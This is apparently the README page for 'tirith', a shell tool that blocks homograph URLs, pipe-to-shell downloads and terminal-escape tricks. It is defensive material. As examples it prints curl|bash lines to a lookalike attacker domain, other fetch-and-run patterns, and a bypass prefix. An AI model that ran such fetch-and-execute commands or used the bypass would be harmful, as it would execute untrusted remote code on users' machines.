9 releases
| new 0.1.9 | Feb 9, 2026 |
|---|---|
| 0.1.8 | Feb 6, 2026 |
#1856 in Command line utilities
30 downloads per month
315KB
6.5K
SLoC
tirith
Your browser would catch this. Your terminal won't.
Can you spot the difference?
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
You can't. Neither can your terminal. Both і characters are Cyrillic (U+0456), not Latin i. The second URL resolves to an attacker's server. The script executes before you notice.
Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question.
Tirith stands at the gate.
brew install sheeki03/tap/tirith
Then activate in your shell profile:
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
That's it. Every command you run is now guarded. Zero friction on clean input. Sub-millisecond overhead. You forget it's there until it saves you.
Also available via npm, cargo, mise, apt/dnf, and more.
See it work
Homograph attack — blocked before execution:
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname — Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
The command never executes.
Pipe-to-shell with clean URL — warned, not blocked:
$ curl -fsSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter — Download piped to interpreter
Consider downloading first and reviewing.
Warning prints to stderr. Command still runs.
Normal commands — invisible:
$ git status
$ ls -la
$ docker compose up -d
Nothing. Zero output. You forget tirith is running.
What it catches
30 rules across 7 categories. All analysis is local. No network calls.
| Category | What it stops |
|---|---|
| Homograph attacks | Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels |
| Terminal injection | ANSI escape sequences that rewrite your display, bidi overrides that reverse text, zero-width characters that hide in domains |
| Pipe-to-shell | curl | bash, wget | sh, python <(curl ...), eval $(wget ...) — every source-to-sink pattern |
| Dotfile attacks | Downloads targeting ~/.bashrc, ~/.ssh/authorized_keys, ~/.gitconfig — blocked, not just warned |
| Insecure transport | Plain HTTP piped to shell, curl -k, disabled TLS verification |
| Ecosystem threats | Git clone typosquats, untrusted Docker registries, pip/npm URL installs |
| Credential exposure | http://user:pass@host userinfo tricks, shortened URLs hiding destinations |
Install
macOS
Homebrew:
brew install sheeki03/tap/tirith
Linux Packages
Debian / Ubuntu (.deb):
Download from GitHub Releases, then:
sudo dpkg -i tirith_*_amd64.deb
Fedora / RHEL / CentOS 9+ (.rpm):
Download from GitHub Releases, then:
sudo dnf install ./tirith-*.rpm
Arch Linux (AUR):
yay -S tirith
# or: paru -S tirith
Nix:
nix profile install github:sheeki03/tirith
# or try without installing: nix run github:sheeki03/tirith -- --version
Windows
Scoop:
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith
Chocolatey:
choco install tirith
Cross-Platform
npm:
npm install -g tirith
Cargo:
cargo install tirith
Mise (official registry):
mise use -g tirith
asdf:
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest
Docker:
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"
Activate
Add to your shell profile (.zshrc, .bashrc, or config.fish):
eval "$(tirith init --shell zsh)" # in ~/.zshrc
eval "$(tirith init --shell bash)" # in ~/.bashrc
tirith init --shell fish | source # in ~/.config/fish/config.fish
| Shell | Hook type | Tested on |
|---|---|---|
| zsh | preexec + paste widget | 5.8+ |
| bash | preexec (two modes) | 5.0+ |
| fish | fish_preexec event | 3.5+ |
| PowerShell | PSReadLine handler | 7.0+ |
In bash, enter mode is used by default with a startup health gate and runtime self-healing. SSH sessions automatically fall back to preexec mode for PTY compatibility. If enter mode detects a failure, it auto-degrades to preexec and persists the decision across shells. Unexpected tirith errors (crashes, OOM-kills) trigger a mixed fail-safe policy: bash degrades to preexec, other shells warn and execute, paste paths always discard. See troubleshooting for details.
Nix / Home-Manager: tirith must be in your $PATH — the shell hooks call tirith by name at runtime. Adding it to initContent alone is not enough.
home.packages = [ pkgs.tirith ];
programs.zsh.initContent = ''
eval "$(tirith init --shell zsh)"
'';
Shell Integrations
Oh-My-Zsh:
git clone https://github.com/sheeki03/ohmyzsh-tirith \
${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith
# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)
Commands
tirith check -- <cmd>
Analyze a command without executing it. Useful for testing what tirith would flag.
$ tirith check -- curl -sSL https://іnstall.example-clі.dev \| bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname — Cyrillic і (U+0456) in hostname
tirith paste
Reads from stdin and analyzes pasted content. The shell hook calls this automatically when you paste into the terminal — you don't need to run it manually.
tirith score <url>
Breaks down a URL's trust signals — TLS, domain age heuristics, known shorteners, Unicode analysis.
$ tirith score https://bit.ly/something
tirith diff <url>
Byte-level comparison showing exactly where suspicious characters are hiding.
$ tirith diff https://exаmple.com
Position 3: expected 0x61 (Latin a) | got 0xd0 0xb0 (Cyrillic а)
tirith run <url>
Safe replacement for curl | bash. Downloads to a temp file, shows SHA256, runs static analysis, opens in a pager for review, and executes only after you confirm. Creates a receipt you can verify later.
$ tirith run https://get.docker.com
tirith receipt {last,list,verify}
Track and verify scripts you've run through tirith run. Each execution creates a receipt with the script's SHA256 hash so you can audit what ran on your machine.
$ tirith receipt last # show the most recent receipt
$ tirith receipt list # list all receipts
$ tirith receipt verify <sha256> # verify a specific receipt
tirith why
Explains the last rule that triggered — what it detected, why it matters, and what to do about it.
tirith init
Prints the shell hook for your current shell. Add eval "$(tirith init)" to your shell profile to activate tirith. If you use multiple shells, you can force a specific one with tirith init --shell bash|zsh|fish.
tirith doctor
Diagnostic check — shows detected shell, hook status, policy file location, and configuration. Run this if something isn't working.
What tirith never does
- No network calls during
checkorpaste— all analysis is local - No command rewriting — tirith never modifies what you typed
- No telemetry — nothing leaves your machine, ever
- No background processes — invoked per-command, exits immediately
- No cloud dependency — works offline, no accounts, no API keys
Configuration
Tirith uses a YAML policy file. Discovery order:
.tirith/policy.yamlin current directory (walks up to repo root)~/.config/tirith/policy.yaml
version: 1
allowlist:
- "get.docker.com"
- "sh.rustup.rs"
severity_overrides:
docker_untrusted_registry: critical
fail_mode: open # or "closed" for strict environments
More examples in docs/cookbook.md.
Bypass for the rare case you know exactly what you're doing:
TIRITH=0 curl -L https://something.xyz | bash
This is a standard shell per-command prefix — the variable only exists for that single command and does not persist in your session. Organizations can disable this entirely: allow_bypass: false in policy.
Data handling
Local JSONL audit log at ~/.local/share/tirith/log.jsonl:
- Timestamp, action, rule ID, redacted command preview
- No full commands, environment variables, or file contents
Disable: export TIRITH_LOG=0
Docs
- Threat model — what tirith defends against and what it doesn't
- Cookbook — policy examples for common setups
- Troubleshooting — shell quirks, latency, false positives
- Compatibility — stable vs experimental surface
- Security policy — vulnerability reporting
- Uninstall — clean removal per shell and package manager
License
tirith is dual-licensed:
- AGPL-3.0-only: LICENSE-AGPL — free under copyleft terms
- Commercial: LICENSE-COMMERCIAL — alternative licensing available
This software is free under AGPL-3.0-only with copyleft obligations. If your intended use would trigger AGPL requirements and you prefer not to comply, contact sheeki003@gmail.com for commercial licensing options.
Third-party data attributions in NOTICE.
Star History
Dependencies
~12–29MB
~372K SLoC